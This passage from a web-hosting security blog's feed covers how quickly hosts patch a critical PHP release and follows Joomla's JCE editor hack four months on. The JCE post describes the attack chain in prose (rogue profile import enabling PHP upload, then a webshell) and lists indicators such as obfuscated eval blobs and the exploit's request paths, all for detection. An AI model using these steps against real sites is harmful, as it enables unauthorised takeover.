7.4&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;6.9%&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;7.3 or older&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;0.9%&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;PHP versions detected on the live Joomla and WordPress sites mySites.guru monitors, measured 20 October 2026. These are production sites under active management, because agencies run their clients&apos; sites through mySites.guru, so it reflects what real sites run rather than a public survey. Bars share one scale across all three tabs.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Read the chart from the top. 77.3% of the sites we monitor are on a branch between 8.2 and 8.5, so they get this fix once their host applies the patched release. Those owners have one job, which is to make sure the host does it.&lt;/p&gt;
&lt;p&gt;The other 22.7% are on PHP 8.1 or older, which is end of life and gets no official release no matter what the host does. Within that group, 16.6% of all sites are still on PHP 7 or older, running an interpreter that upstream stopped fixing years ago. The split by CMS is not even.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23.9%&lt;/div&gt;&lt;div&gt;of the Joomla sites we monitor run PHP 8.1 or older&lt;/div&gt;&lt;div&gt;end of life, so no patched build is coming&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;18.0%&lt;/div&gt;&lt;div&gt;of the WordPress sites we monitor run PHP 8.1 or older&lt;/div&gt;&lt;div&gt;WordPress still runs on PHP that upstream abandoned years ago&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Detected on live Joomla and WordPress sites under active management, 20 October 2026. Joomla sites skew older than WordPress.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Release day itself showed how a fix spreads. The first sites we monitor reported a fixed version string at 12:44 UTC on 21 October, about fifty minutes before the advisories went public, because packagers and hosts who were notified in advance released their builds first. By 13:52 UTC, with the advisories out, 0.08% of live sites under active management reported a fixed release. The rest were waiting on their host.&lt;/p&gt;
&lt;h2&gt;Why Do So Many WordPress Sites Run End-of-Life PHP?&lt;/h2&gt;
&lt;p&gt;Because WordPress lets them. The &lt;a href=&quot;https://wordpress.org/about/requirements/&quot;&gt;official WordPress requirements&lt;/a&gt; recommend PHP 8.3 or greater, but the current WordPress line still marks PHP 7.4 as compatible, and 7.4 has been end of life since November 2022. Recent WordPress versions kept compatibility all the way back to PHP 7.2, which reached end of life in November 2020. The &lt;a href=&quot;https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/&quot;&gt;Core PHP compatibility matrix&lt;/a&gt; shows this release by release.&lt;/p&gt;
&lt;p&gt;WordPress does this on purpose, so that an update never fails because of the PHP underneath it. The side effect is that nothing ever forces a WordPress site off an abandoned interpreter: the CMS keeps updating, the plugins keep updating, and PHP stays wherever the host left it years ago.&lt;/p&gt;
&lt;p&gt;Joomla takes a firmer line. Joomla 5 requires PHP 8.1 as a minimum and recommends 8.3, and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 requires PHP 8.3 and recommends 8.4&lt;/a&gt;, with the full list in the &lt;a href=&quot;https://manual.joomla.org/docs/get-started/technical-requirements/&quot;&gt;Joomla technical requirements&lt;/a&gt;. The &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7 requirements&lt;/a&gt; make an interesting comparison. A firmer floor pulls sites forward when they upgrade, but it cuts the other way too: an old Joomla site that cannot move to a newer major version is pinned to whatever PHP its version supports, which is part of why the Joomla figure above is the higher one.&lt;/p&gt;
&lt;h2&gt;Does Your Host Actually Apply PHP Patches?&lt;/h2&gt;
&lt;p&gt;A PHP security release of this kind is a patch release inside a branch, for example 8.3.35 to 8.3.36. It is binary-compatible and a drop-in replacement, so a host can roll it out across its servers with nothing changing for the site owner, and well-run hosts apply these within days of publication. The release that can break things is the major or minor jump, say 8.1 to 8.3, because that can affect themes, plugins and extensions and needs the owner to test first. Do not confuse the two: a host telling you “PHP updates can break sites” as a reason not to apply a point release is describing the wrong kind of update.&lt;/p&gt;
&lt;p&gt;Telling whether your host lags is simple once you know where to look. The PHP selector in your hosting control panel only lists the versions the host has installed on that server. If the patched release is not offered there, there is nothing you can set, and the useful move is a support ticket asking when it is coming. Check the version the site reports while serving a request rather than trusting &lt;code&gt;php -v&lt;/code&gt; on the command line, because the CLI binary and the one serving your pages are often different builds; the amber and green post linked above explains why.&lt;/p&gt;
&lt;p&gt;It helps to know where your host’s PHP comes from, because that decides how soon the fix can reach you. On release day the picture looked like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cPanel EasyApache 4 had fixed &lt;code&gt;ea-php82&lt;/code&gt;, &lt;code&gt;ea-php83&lt;/code&gt;, &lt;code&gt;ea-php84&lt;/code&gt; and &lt;code&gt;ea-php85&lt;/code&gt; packages (8.2.35, 8.3.36, 8.4.27 and 8.5.12) available by about 13:45 UTC, within minutes of the advisories. &lt;code&gt;ea-php81&lt;/code&gt; has no fix, because 8.1 has no release to package.&lt;/li&gt;
&lt;li&gt;Ondřej Surý’s PPA (&lt;code&gt;ppa:ondrej/php&lt;/code&gt;) had no fixed packages at 13:47 UTC. It will get the fix, with no ETA given, and it now builds only for Ubuntu 22.04 and 24.04. One trap: the PPA’s Release “Label” was renamed, so &lt;code&gt;apt&lt;/code&gt; will not refresh its package lists until you run &lt;code&gt;apt-get update --allow-releaseinfo-change-label&lt;/code&gt;, and a server in that state sits on stale lists with no warning and never sees the fixed packages when they do arrive.&lt;/li&gt;
&lt;li&gt;Remi’s repository had no updates on release day, and php.net’s advice was to switch to distribution packages or build from source in the meantime.&lt;/li&gt;
&lt;li&gt;CloudLinux was preparing fixed &lt;code&gt;alt-php&lt;/code&gt; packages after the release. Its Imunify360 ModSecurity ruleset 8.83 blocks the public exploit, which is a WAF rule, not a PHP fix.&lt;/li&gt;
&lt;li&gt;Distribution packages on Ubuntu, Debian and Red Hat backport security fixes without changing the upstream version number, so Ubuntu 24.04 stays on an &lt;code&gt;8.3.6-0ubuntu...&lt;/code&gt; package even once it is patched. A version-number check cannot see that fix. Read the package changelog or the distribution’s advisory instead of trusting &lt;code&gt;x.y.z&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What You Can Actually Do About It&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=generic/hostingenvironment/versionnumber&quot;&gt;PHP Version Should Be Latest Supported Series&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=generic/hostingenvironment/versionnumber&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Find the PHP version each site reports, and whether it is a fixed one. mySites.guru records the version the site reports while serving a request, and for this release the PHP version check goes red when a site is at or below the last vulnerable patch: 8.2.34, 8.3.35, 8.4.26 or 8.5.11. Sites on 8.1 and older are flagged end of life, with 8.3 as the suggested target. There is a banner for the release on the dashboard, and the version is also available through the API and MCP, so you can pull the list into whatever you already use. Package suffixes such as &lt;code&gt;-nmm1&lt;/code&gt; are stripped before comparison. A distribution package that backports the fix without changing the version string is still flagged as unpatched until you confirm it with the host and &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-agencies-firefight-php2shell-at-scale/&quot;&gt;record the back-port&lt;/a&gt; for that build.&lt;/li&gt;
&lt;li&gt;Supported branch, 8.2 to 8.5: ask the host when they will apply 8.2.35, 8.3.36, 8.4.27 or 8.5.12, and select it in the control panel as soon as it appears there.&lt;/li&gt;
&lt;li&gt;End of life, 8.1 or older: no official release exists, so plan the version upgrade now. Check first whether the CMS or an extension pins the PHP version, because that upgrade moves before PHP can. A Joomla 3 site is the classic case, and &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;what to do with Joomla 3 sites still on an agency retainer&lt;/a&gt; covers that conversation with the client.&lt;/li&gt;
&lt;li&gt;Across many sites, do it from one list. Whether you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt;, the PHP version is one column across all of them, and the CMS-side moves can be run as a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrade from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The affected and fixed versions are now public, so the question has narrowed to which of your sites are still on a vulnerable one and which hosts have not moved yet. Seeing every site’s PHP version in one place is what turns that into a short job rather than an afternoon of logging into control panels, and a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows you that list in a few minutes.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;18 Oct 2026, 17:23 UTC&lt;/strong&gt; The fix is committed privately &quot;Avoid state corruption via bailout&quot;, the commit behind both CVEs, is written three days before the release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;19 Oct 2026, 17:04 UTC&lt;/strong&gt; The releases are tagged PHP 8.5.12 is tagged, with the other three branches, two days ahead of publication.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;20 Oct 2026&lt;/strong&gt; PHP pre-announces a critical security release Two vulnerabilities rated CVSS v4.0 9.2, release set for 21 October at 14:00 UTC, every other detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;20 Oct 2026&lt;/strong&gt; The CVE IDs leak CVE-2026-109618 and CVE-2026-109619 appear on social media the same afternoon, followed by unconfirmed claims about what they are.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;21 Oct 2026, 07:43 UTC&lt;/strong&gt; Cloudflare&apos;s CTO reports early attacks An unverified claim, not acted on by PHP and disputed by other sources since. No evidence was published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;21 Oct 2026, 12:44 UTC&lt;/strong&gt; The first sites we monitor report a fixed version About fifty minutes before the advisories went public, because packagers and hosts notified in advance released their builds first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;21 Oct 2026, 13:35 UTC&lt;/strong&gt; Advisories and releases published PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35, about 25 minutes ahead of the announced 14:00 UTC, with both CVEs confirmed as unauthenticated remote code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;Security advisory: Critical remote code execution vulnerabilities, update now&lt;/a&gt; - PHP&apos;s own advisory for the release, with the risk assessment.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w&quot;&gt;GHSA-w8hw-w9fx-j79w: RCE via OOM corruption&lt;/a&gt; - the advisory for CVE-2026-109618.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp&quot;&gt;GHSA-6wmf-4rv5-p3rp: RCE via stale global state&lt;/a&gt; - the advisory for CVE-2026-109619.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php/php-src/commit/1d7dec178a094e6e75b229ce22754045f8c6070a&quot;&gt;Avoid state corruption via bailout&lt;/a&gt; - the minimal source-only mitigation commit for the end-of-life branches.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-20-1&quot;&gt;Upcoming Critical PHP Security Release&lt;/a&gt; - the PHP security team&apos;s advance notice, with the release date and severity.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ma.ttias.be/php-cve-2026-109618-early-mitigation/&quot;&gt;PHP CVE-2026-109618 and CVE-2026-109619: early mitigation steps&lt;/a&gt; - Mattias Geniar&apos;s running round-up, separating what is confirmed from what is not.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sansec.io/research/php2shell&quot;&gt;Critical PHP RCE: CVE-2026-109618 and CVE-2026-109619&lt;/a&gt; - Sansec&apos;s write-up of the leak and the leak.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;PHP: Supported Versions&lt;/a&gt; - the official timetable of which branches still receive fixes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/eol.php&quot;&gt;PHP: Unsupported Branches&lt;/a&gt; - every PHP branch that has reached end of life, with the date it happened.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/about/requirements/&quot;&gt;WordPress Requirements&lt;/a&gt; - the official minimum and recommended PHP versions for WordPress.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/&quot;&gt;WordPress and PHP compatibility&lt;/a&gt; - the Core matrix of which PHP versions each WordPress release still supports.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/get-started/technical-requirements/&quot;&gt;Joomla Technical Requirements&lt;/a&gt; - the current PHP minimums for Joomla.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To see which PHP version every one of your sites is running, and whether it is the patched one, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. No credit card needed.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>security</category><category>hosting</category><category>updates</category><category>end-of-life</category><enclosure url="https://mysites.guru/img/og/blog/php-critical-security-release-joomla-wordpress.png" length="0" type="image/png"/></item><item><title>The Joomla Content Editor (JCE) Hack, Four Months On</title><link>https://mysites.guru/blog/jce-hack-four-months-on/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-hack-four-months-on/</guid><description>Four months after the JCE hack hit Joomla sites, unpatched installs are still being compromised. See the damage and how mySites.guru finds and fixes it.</description><pubDate>Tue, 20 Oct 2026 19:34:55 GMT</pubDate><content:encoded>&lt;p&gt;It is four months since the JCE hack tore through Joomla sites in June 2026. The flaw in the JCE editor is patched, the headlines have moved on, and the attack has not. Unpatched JCE installs are still being compromised today, and mySites.guru is still finding fresh ones.&lt;/p&gt;
&lt;p&gt;If you run Joomla sites for clients and have not checked every one of them since June, this post is for you. The full indicators of compromise, the find-and-fix tool and the complete timeline are on &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;our JCE hack page&lt;/a&gt;. This is the shorter version: what happened, what a hit looks like, and proof the watching has not stopped.&lt;/p&gt;
&lt;h2&gt;What is the JCE hack?&lt;/h2&gt;
&lt;p&gt;JCE (Joomla Content Editor) is the most-installed editor extension on Joomla, sitting in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt; neck and neck with Akeeba Backup. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; is an improper-access-control flaw in the JCE extension that let an unauthenticated visitor import an editor profile and use it to upload and run PHP. The Joomla project, as CNA, rated it 10.0 Critical on CVSS 4.0; NVD scored it 9.8. No login is required at any step.&lt;/p&gt;
&lt;p&gt;The chain is short. The attacker posts a rogue editor profile with a large negative ordering (-99999 is typical) so it floats above every real profile. That profile allows php and txt uploads with MIME validation switched off. A second request uploads a webshell through the JCE file browser. Two requests, no credentials, fully automated. The fix was released in &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE 2.9.99.5&lt;/a&gt; on 3 June 2026, and the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;June pillar post&lt;/a&gt; walks through every step at length, so I will not repeat it here.&lt;/p&gt;
&lt;h2&gt;How the JCE hack unfolded&lt;/h2&gt;
&lt;section&gt;&lt;ol&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;3 Jun&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;JCE 2.9.99.5 released&lt;/p&gt;&lt;p&gt;This release fixes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;. Every version before it keeps the unauthenticated flaw.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;Days later&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Working exploit code public on GitHub&lt;/p&gt;&lt;p&gt;Within about a week of the patch, a proof of concept anyone can run is published.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;16 Jun&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;CISA adds it to the KEV catalog&lt;/p&gt;&lt;p&gt;Known Exploited Vulnerabilities listing confirms active, in-the-wild exploitation.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;Summer&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;The mass campaign&lt;/p&gt;&lt;p&gt;Botnets spray the published exploit at every reachable JCE install. Over 1,000 of the Joomla sites mySites.guru monitors are hit.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;Oct&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Four months on, still being found&lt;/p&gt;&lt;p&gt;Unpatched installs are still being compromised. The check keeps flagging new ones.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/section&gt;
&lt;h2&gt;What we are still finding today&lt;/h2&gt;
&lt;p&gt;Numbers first, from the 24 hours before I wrote this.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16,464&lt;/div&gt;&lt;div&gt;rogue JCE editor profiles found and verified, last 24 hours&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;21,552&lt;/div&gt;&lt;div&gt;malicious files found and verified, last 24 hours&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1,000+&lt;/div&gt;&lt;div&gt;Joomla sites we have found hit by this attack&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;100,000+&lt;/div&gt;&lt;div&gt;connections checked daily&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The first three are confirmed findings, not estimates: in a single day the JCE check flagged and verified that many rogue profiles and malicious files across the Joomla sites we monitor, spread over the thousand-plus sites this attack has hit. The fourth is the scale behind them. We check more than 100,000 site connections a day, so a fresh compromise shows up on the next snapshot rather than whenever someone next happens to log in. Four months on, the numbers are not shrinking, because the long tail of unpatched sites keeps feeding them.&lt;/p&gt;
&lt;p&gt;The check is called &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/jce-rogue-profiles/&quot;&gt;Check for JCE Rogue Profiles &amp;amp; Backdoors&lt;/a&gt;. It runs on every snapshot, twice a day, on every connected Joomla site. It finds the rogue profiles and the webshells automatically, and when it flags something you fix it from one screen: remove the rogue profiles, delete the backdoor files and update JCE, on Joomla 4, 5 and 6. It never deletes anything on its own. It lists everything first so you can take a copy for evidence before you clean.&lt;/p&gt;
&lt;p&gt;To find every still-vulnerable install, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; lists every site running JCE grouped by version, and the mass updater patches them all in one batch. Twenty sites or two hundred, it is one job.&lt;/p&gt;
&lt;h2&gt;How far the JCE hack reached&lt;/h2&gt;
&lt;p&gt;This was never a story about neglected sites with no one watching them. In June the attack took down the Joomla project’s own flagship sites at once: the official Joomla Extensions Directory at extensions.joomla.org, community.joomla.org and certification.joomla.org all served “503 Maintenance” pages. Those sites are run by people who know Joomla security better than almost anyone.&lt;/p&gt;
&lt;p&gt;That is the whole point. JCE is installed so widely that any site running an old copy was exposed, and competence did not protect you. An exploit that needs no login hits every reachable install in the same sweep, and the only thing that mattered was whether your JCE was patched before the bots reached it. No amount of &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;.htaccess hardening&lt;/a&gt; stood in the way either, because the requests look like ordinary POSTs to an extension the site is supposed to serve.&lt;/p&gt;
&lt;h2&gt;How to tell if your Joomla site was hit&lt;/h2&gt;
&lt;p&gt;The rogue profiles are easy to recognise once you know the shape. Most have machine-generated names: a capital J followed by six digits, J940401, J938560 and so on. Some attackers did not bother with subtlety and named theirs “Pwned” with the description “RCE via JCE”. If a profile like that sits at the top of your JCE profiles list, you have been hit.&lt;/p&gt;
&lt;p&gt;The webshells were dropped in tmp, media, images and the libraries tree: hidden .xml.php droppers, eval(gzinflate(base64_decode(…))) blobs, shell_exec command shells and small “Nxploited” marker files. Our &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoor scanner&lt;/a&gt; picks these up, and so does the dedicated JCE check described above.&lt;/p&gt;
&lt;p&gt;The access logs give it away in two lines: a POST to task=profiles.import that creates the profile, then a POST to method=upload that drops the shell. Both return 200, both unauthenticated. The requests came from many different IPs with python-requests user agents. This was a botnet spraying a published exploit, not a targeted attack, which is why one vulnerable site is almost never the only one in a portfolio. mySites.guru has now found this attack on over 1,000 of the Joomla sites it monitors.&lt;/p&gt;
&lt;h2&gt;Is the JCE hack still a threat?&lt;/h2&gt;
&lt;p&gt;Only if you are running an old version. A fixed CVE is a closed chapter for the sites that updated. For the long tail that did not, the chapter is still open, which is exactly why we are still finding this four months on. The exploit code is public, the bots never stopped, and every Joomla site still on a vulnerable JCE is as exposed today as it was on 3 June.&lt;/p&gt;
&lt;p&gt;If this feels familiar, it should. In 2012 the JCE ImageManager flaw (CVE-2012-2902) let unauthenticated visitors upload files through JCE, and automated bots kept exploiting it for years after the patch existed, purely because so many installs were never updated. The patch fixed the software; it did nothing for the sites that never installed it.&lt;/p&gt;
&lt;h2&gt;The JCE hack was a starting gun&lt;/h2&gt;
&lt;p&gt;Days after the JCE hack, a friend told me Joomla extensions were more secure than WordPress plugins. I disagreed. The gap is attention, not security. WordPress plugins have bug-bounty programmes and a black market that pays for working exploits, so thousands of researchers pick at them. Almost no one scrutinises Joomla extensions with the same intent.&lt;/p&gt;
&lt;p&gt;So we went looking. Between mid-June and late July, mySites.guru found and privately disclosed 19 vulnerabilities across 17 Joomla extensions, written up in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Nineteen and Counting&lt;/a&gt;. For over a week it was one or two critical, mostly unauthenticated remote-code-execution flaws a day.&lt;/p&gt;
&lt;p&gt;That was just the first month. Four months on the count is well past nineteen and still climbing, and we are holding more that we cannot name until their vendors patch.&lt;/p&gt;
&lt;p&gt;The bugs were always there. No one was looking. The JCE hack made people look, and it has pushed Joomla extension developers to take security more seriously.&lt;/p&gt;
&lt;h2&gt;The worst extension flaws we have found since&lt;/h2&gt;
&lt;p&gt;The worst ten, the critical and mostly unauthenticated ones. The four marked in red were being exploited in the wild, so CISA added them to its Known Exploited Vulnerabilities catalog.&lt;/p&gt;
&lt;section&gt;&lt;ol&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;15 Jun&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda: unauthenticated upload RCE (CISA KEV)&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;15 Jun&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder: zero-day RCE, fake admins planted (CISA KEV)&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;27 Jun&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK: unauthenticated upload RCE (CISA KEV)&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;8 Jul&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms: unauthenticated upload RCE (CISA KEV)&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;9 Jul&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing: unauthenticated SQL injection, every user record and hash exposed&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;10 Jul&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!: unauthenticated file upload RCE, CVSS 10.0&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;20 Jul&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox: one cookie and you are a Super User, CVSS 10.0&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;19 Aug&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/&quot;&gt;YOOtheme ZOO: an unauthenticated upload, CVSS 10.0&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;22 Aug&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/fabrik-4-7-2-security-release/&quot;&gt;Fabrik 4.7.2: a long list of fixes, up to CVSS 10.0&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;time&gt;26 Sep&lt;/time&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/up-plugin-joomla-unauthenticated-vulnerabilities/&quot;&gt;UP plugin: file read and code execution, CVSS 10.0&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/section&gt;
&lt;p&gt;Another two dozen sit in the &lt;a href=&quot;https://mysites.guru/blog/tag/responsible-disclosure/&quot;&gt;full disclosure archive&lt;/a&gt;, every one found by us and reported privately before it went public.&lt;/p&gt;
&lt;h2&gt;Is JCE safe to use?&lt;/h2&gt;
